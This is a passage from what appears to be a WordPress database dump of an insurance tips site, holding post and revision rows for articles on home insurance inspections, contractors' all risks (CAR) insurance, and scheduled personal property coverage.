id=\"mntl-sc-block_8-0\">Home inspections aren’t always required by mortgage lenders, though an appraisal is, in order to establish the property’s value. Mortgage lenders typically don’t ask for a home insurance inspection either; this is usually requested by the company through which you’re attempting to purchase homeowners insurance.&nbsp;However, whether you’re getting a regular home inspection, a home insurance inspection, or an appraisal, you’re responsible for paying the cost out of pocket.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_10-0\">A home insurance inspection allows the insurance company to gauge the home’s replacement cost. This is also how the insurance company assesses risk to determine the likelihood that you’ll need to file a claim for damages and calculates your estimated premium costs. A home inspection may be more common if you’re buying an older home or a home in an area that’s prone to natural disasters, such as hurricanes, earthquakes, or forest fires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, in Florida and some Gulf Coast states, homeowners can go through a wind mitigation inspection. This type of inspection looks specifically at what efforts are in place to mitigate wind damage to a home that’s being covered. Insurance companies can offer discounts on coverage for homeowners who undergo this type of inspection and show that they’ve mitigated wind damage risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Separate pest and septic tank inspections may also be necessary when buying a home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_16-0\">What a Home Insurance Inspection Covers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">In most cases your homeowners insurance company may do a visual inspection of the home’s exterior. This allows it to check out the condition of doors, windows, roofing, and additional structures on the property. If the insurance company decides that a more detailed inspection is necessary, it will also take a look inside the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">Every inspection is different, but generally the inspector will be assessing things such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_21-0\"><!-- wp:list-item -->\n<li>The condition and age of the roof</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Any exterior hazards that could potentially lead to damage, such as overhanging trees&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exterior items that could be damaged, such as sidewalks, lighting fixtures, or separate buildings on the property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interior and exterior drainage systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of the basement, if you have one, and the foundation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plumbing systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the home’s electrical system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Home appliances</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of flooring and walls</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Attic spaces and crawl spaces</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Anti-theft measures, such as a home security system or deadbolts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Smoke and carbon monoxide detectors</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the HVAC system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Chimneys and fireplaces, if you have them</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_23-0\">Overall, the goal is to assess both risk and replacement cost if the home ends up being damaged. You may not need to be at home for the exterior part of the inspection if the insurance company only wants to look at the outside, but you\'ll need to be present for the interior inspection if one is requested. The time frame can be as much as two hours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: If your insurance company wants to do a complete home insurance inspection or you decide to request one, expect it to take a couple of hours to complete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_27-0\">How to Prepare for a Home Insurance Inspection</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">If you’re scheduled for a home insurance inspection, there are some things you can do to get ready for it. By doing a little prep work, you can spot any issues that are likely to show up in the inspection, so you’re not caught off guard.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_30-0\">Preparing for a home insurance inspection on the exterior:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_32-0\"><!-- wp:list-item -->\n<li>Check your roof for any loose or missing shingles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have gutters, check to see if they’re secured to the home properly and clear out any debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check the foundation for cracks or other signs of weakening.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have a chimney, check it for cracks or loose bricks and consider getting it professionally cleaned.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Trim any overhanging branches or dead limbs that could present a hazard to roofing or other parts of the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your siding, doors, and windows for cracks, leaks, and signs of water damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look for any potential hazards, such as an uneven sidewalk that could cause someone to get injured on the property.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">Preparing for a home insurance inspection on the inside:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_36-0\"><!-- wp:list-item -->\n<li>Check your smoke detectors and carbon monoxide detectors to make sure they’re working properly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your home’s fire extinguisher to make sure it’s operational.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Clean out your fireplace and its flue, if you have one.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check around windows and doors on the inside to look for leaks or signs of termite damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look in the attic and basement for signs of any water or pest damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider cleaning your HVAC system and testing it to make sure it’s working properly.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look under sinks and around faucets, showerheads, and toilets for signs of leaks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Inspect the walls to look for cracks or bowing, which could suggest foundation or roof issues.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Important: If your homeowners insurance company decides a home insurance inspection is necessary, it may wait until after you close on the home to schedule the inspection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_40-0\">What to Do if You’re Denied for Home Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_41-0\">If your home insurance inspection turns up some serious issues with the property, your insurance company may decide that it’s too much of a risk to cover you. In that scenario you may have a few options.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">First, you could make any necessary repairs the insurance company requests as a condition of getting covered. That could mean replacing the roof or hot water heater or repaving the driveway.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">If that doesn’t work, you can look for coverage through a company that specializes in high-risk properties. You’ll likely pay more for homeowners insurance than you would ordinarily, but it may be the only way to get coverage for a home with damage or structural issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_47-0\">A third possibility is getting the home covered under Fair Access Insurance Plans. FAIR plans are state-run programs that offer insurance for high-risk homeowners or help them find coverage. This could help you get covered if you’ve exhausted all other options. Keep in mind, however, that not every state offers a FAIR plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/how-to-prepare-for-a-home-insurance-inspection-5074113\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Prepare for a Home Insurance Inspection','','inherit','closed','closed','','4082-revision-v1','','','2024-05-20 04:26:12','2024-05-20 04:26:12','',4082,'https://smartinsurance.tips/?p=4084',0,'revision','',0),(4085,1,'2024-05-20 04:28:36','2024-05-20 04:28:36','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4086,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-20-1024x1024.png\" alt=\"\" class=\"wp-image-4086\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Contractors\' All Risks (CAR) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">Contractors\' all risks (CAR) insurance is a non-standard insurance policy that provides coverage for property damage and third-party injury or damage claims, the two primary types of risks on construction projects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">Damage to&nbsp;property can&nbsp;include improper construction of structures, the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">Third&nbsp;parties, including subcontractors, may become injured while working at the construction site.&nbsp;CAR insurance not only&nbsp;covers those associated risks but also&nbsp;bridges these two types of risks into a common policy&nbsp;designed to&nbsp;cover the gap between exclusions that would otherwise exist if&nbsp;using separate policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">CAR insurance coverage is common for&nbsp;construction projects involving buildings, water tanks, sewage treatment plans, flyovers, and&nbsp;airports.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Contractors\' all risks (CAR) insurance is a non-standard&nbsp;insurance policy that provides coverage for&nbsp;property damage&nbsp;and third-party injury or damage claims.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Those are the&nbsp;two primary types of risks on construction&nbsp;projects.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to&nbsp;property can&nbsp;include improper construction of&nbsp;structures,&nbsp;the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Third&nbsp;parties, including subcontractors, may also suffer injuries while working at the construction site.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The goal of a CAR insurance policy is to cover&nbsp;all parties on a project.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_12-0\">Understanding CAR Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">Typically, both contractor and employer jointly take out CAR insurance policies. Other parties such as financing companies have the option of being named to the policy. Because multiple parties are included in the policy, each retains the right to file a claim against the insurer. All parties have the duty to inform the insurer of any injuries and damages that may result in a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_15-0\">The goal of a CAR insurance policy is to ensure that all parties on a project are covered, regardless of the type of damage to the property or who caused the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">Insurers who underwrite this type of policy lose the right to subrogation. That means that if an insurance company pays out funds to one party in the contract, it cannot seek to recover those funds from another party in the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">For example, if the owner of a large building and the contractor working on the building are on the same CAR policy, any damages&nbsp;to the building caused by the contractor can be recovered by the building owner when a claim is filed. The insurer, however, cannot seek to recover funds from the contractor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_21-0\">A CAR insurance policy also provides coverage against property losses or damages caused by fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Risks often covered under a CAR policy include flood, wind, earthquakes, water damage, mold, construction faults, and negligence. They typically do not cover normal wear and tear, willful negligence, or poor workmanship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_25-0\">Extending CAR Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_26-0\">CAR coverage may be&nbsp;extended to cover the interests of manufacturers, suppliers, contractors, and subcontractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">The policy can also be expanded to cover the following events:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_30-0\"><!-- wp:list-item -->\n<li>Additional custom duty</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Air freight</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to surrounding property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Debris removal</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Earthquake</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Escalation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Loss due to breakage of glass</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Maintenance visits</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_32-0\">Additionally, CAR policies may be designed to include losses incurred when start up is delayed because of another insured loss. For example, if a structure is damaged and is covered by CAR insurance, then the losses incurred as a result of a delay in opening the property while the damage is being repaired may also be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">CAR policies can also be expanded to include a provision for escalation, to cover acts of terrorism, and to cover excess third-party liability, among other less common scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is All Risk Insurance the Same as General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Normally, an all risk insurance policy limits coverage to the construction of a property and ends once the project is finished. A general liability insurance policy can provide coverage for damage to a property for an ongoing period of time after the project is done and the property is sold or occupied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who Needs Contractors\' All Risk Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contractors who want to protect themselves against the potential for financial liability due to property damage or injury that may occur during a construction project should consider CAR insurance. A CAR insurance policy can provide you with the assurance that such costs would be covered should the unexpected happen on the job. It can give you peace of mind knowing that, in such circumstances, your business can survive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Parties on a Project Take out a CAR Insurance Policy?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Typically, the project contractor and the party that hired the contractor (e.g., the property owner) together take out&nbsp;a CAR insurance policy. Others can also be named on the policy, including the finance company, subcontractors, suppliers, and manufacturers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_42-0\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">Construction projects offer up a myriad of financial risks related to property damage and third-party injury. Contractors\' all risk insurance is a a non-standard insurance policy that covers these risks when they\'re caused by such things as fire, flood, wind, earthquakes, and construction faults at the construction site during a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">Contractors hired to lead a building project should consider a CAR policy. Knowing that you\'re protected against financial claims related to property damages and injuries can instill confidence and provide peace of mind throughout a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/contractors-all-risks-car-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Contractors\' All Risks (CAR) Insurance: Definition and Example','','publish','closed','closed','','contractors-all-risks-car-insurance-definition-and-example','','','2024-05-20 04:28:38','2024-05-20 04:28:38','',0,'https://smartinsurance.tips/?p=4085',0,'post','',0),(4086,1,'2024-05-20 04:27:20','2024-05-20 04:27:20','','Untitled-20','','inherit','closed','closed','','untitled-20-5','','','2024-05-20 04:27:20','2024-05-20 04:27:20','',4085,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-20.png',0,'attachment','image/png',0),(4087,1,'2024-05-20 04:28:36','2024-05-20 04:28:36','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4086,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-20-1024x1024.png\" alt=\"\" class=\"wp-image-4086\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Contractors\' All Risks (CAR) Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">Contractors\' all risks (CAR) insurance is a non-standard insurance policy that provides coverage for property damage and third-party injury or damage claims, the two primary types of risks on construction projects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">Damage to&nbsp;property can&nbsp;include improper construction of structures, the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">Third&nbsp;parties, including subcontractors, may become injured while working at the construction site.&nbsp;CAR insurance not only&nbsp;covers those associated risks but also&nbsp;bridges these two types of risks into a common policy&nbsp;designed to&nbsp;cover the gap between exclusions that would otherwise exist if&nbsp;using separate policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">CAR insurance coverage is common for&nbsp;construction projects involving buildings, water tanks, sewage treatment plans, flyovers, and&nbsp;airports.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Contractors\' all risks (CAR) insurance is a non-standard&nbsp;insurance policy that provides coverage for&nbsp;property damage&nbsp;and third-party injury or damage claims.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Those are the&nbsp;two primary types of risks on construction&nbsp;projects.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to&nbsp;property can&nbsp;include improper construction of&nbsp;structures,&nbsp;the damage that happens during a renovation,&nbsp;and damage to&nbsp;temporary work erected on-site.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Third&nbsp;parties, including subcontractors, may also suffer injuries while working at the construction site.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The goal of a CAR insurance policy is to cover&nbsp;all parties on a project.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_12-0\">Understanding CAR Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">Typically, both contractor and employer jointly take out CAR insurance policies. Other parties such as financing companies have the option of being named to the policy. Because multiple parties are included in the policy, each retains the right to file a claim against the insurer. All parties have the duty to inform the insurer of any injuries and damages that may result in a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_15-0\">The goal of a CAR insurance policy is to ensure that all parties on a project are covered, regardless of the type of damage to the property or who caused the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">Insurers who underwrite this type of policy lose the right to subrogation. That means that if an insurance company pays out funds to one party in the contract, it cannot seek to recover those funds from another party in the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">For example, if the owner of a large building and the contractor working on the building are on the same CAR policy, any damages&nbsp;to the building caused by the contractor can be recovered by the building owner when a claim is filed. The insurer, however, cannot seek to recover funds from the contractor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_21-0\">A CAR insurance policy also provides coverage against property losses or damages caused by fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Risks often covered under a CAR policy include flood, wind, earthquakes, water damage, mold, construction faults, and negligence. They typically do not cover normal wear and tear, willful negligence, or poor workmanship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_25-0\">Extending CAR Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_26-0\">CAR coverage may be&nbsp;extended to cover the interests of manufacturers, suppliers, contractors, and subcontractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">The policy can also be expanded to cover the following events:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_30-0\"><!-- wp:list-item -->\n<li>Additional custom duty</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Air freight</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage to surrounding property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Debris removal</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Earthquake</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Escalation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Loss due to breakage of glass</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Maintenance visits</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_32-0\">Additionally, CAR policies may be designed to include losses incurred when start up is delayed because of another insured loss. For example, if a structure is damaged and is covered by CAR insurance, then the losses incurred as a result of a delay in opening the property while the damage is being repaired may also be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">CAR policies can also be expanded to include a provision for escalation, to cover acts of terrorism, and to cover excess third-party liability, among other less common scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is All Risk Insurance the Same as General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Normally, an all risk insurance policy limits coverage to the construction of a property and ends once the project is finished. A general liability insurance policy can provide coverage for damage to a property for an ongoing period of time after the project is done and the property is sold or occupied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who Needs Contractors\' All Risk Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Contractors who want to protect themselves against the potential for financial liability due to property damage or injury that may occur during a construction project should consider CAR insurance. A CAR insurance policy can provide you with the assurance that such costs would be covered should the unexpected happen on the job. It can give you peace of mind knowing that, in such circumstances, your business can survive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Parties on a Project Take out a CAR Insurance Policy?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Typically, the project contractor and the party that hired the contractor (e.g., the property owner) together take out&nbsp;a CAR insurance policy. Others can also be named on the policy, including the finance company, subcontractors, suppliers, and manufacturers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_42-0\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">Construction projects offer up a myriad of financial risks related to property damage and third-party injury. Contractors\' all risk insurance is a a non-standard insurance policy that covers these risks when they\'re caused by such things as fire, flood, wind, earthquakes, and construction faults at the construction site during a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">Contractors hired to lead a building project should consider a CAR policy. Knowing that you\'re protected against financial claims related to property damages and injuries can instill confidence and provide peace of mind throughout a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/contractors-all-risks-car-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Contractors\' All Risks (CAR) Insurance: Definition and Example','','inherit','closed','closed','','4085-revision-v1','','','2024-05-20 04:28:36','2024-05-20 04:28:36','',4085,'https://smartinsurance.tips/?p=4087',0,'revision','',0),(4088,1,'2024-05-20 04:32:10','2024-05-20 04:32:10','<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is a must-have if you have belongings worth more than your standard policy’s limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4089,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-19-1024x1024.png\" alt=\"\" class=\"wp-image-4089\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Scheduled personal property covers items like jewelry, art and collectibles beyond standard policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s “scheduled” because you list and insure each item individually for what it’s worth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many scheduled personal property policies feature low or even no deductibles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether it\'s a family heirloom, a dazzling piece of jewelry or that art piece you splurged on, your standard home or renters insurance might not be enough. Enter scheduled personal property coverage. It’s the key to ensuring your valuables are fully insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is scheduled personal property?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is an insurance endorsement or “floater” that provides additional coverage for specific, high-value belongings beyond what your standard homeowners\' insurance policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might need scheduled personal property coverage for items that are particularly valuable or unique, like jewelry, fine art, antiques, collectibles or expensive electronics — anything with a value that exceeds the standard coverage limits of your homeowners\' policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Costs vary by insurer, but you can generally expect to pay around $20 annually for every $1,000 of scheduled personal property coverage. So if you insure $10,000 worth of items, you might pay $200 each year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How does scheduled personal property coverage work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A standard home insurance policy typically has a coverage limit for personal property, which is the maximum amount the insurance will pay in the event of a claim. Within this, there are sublimits for specific categories of items. For example, a policy might cover up to $100,000 of personal property but only $1,500 for jewelry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage allows you to \"schedule\" individual high-value items, so they’re insured for their replacement cost value, rather than the sublimit in your standard 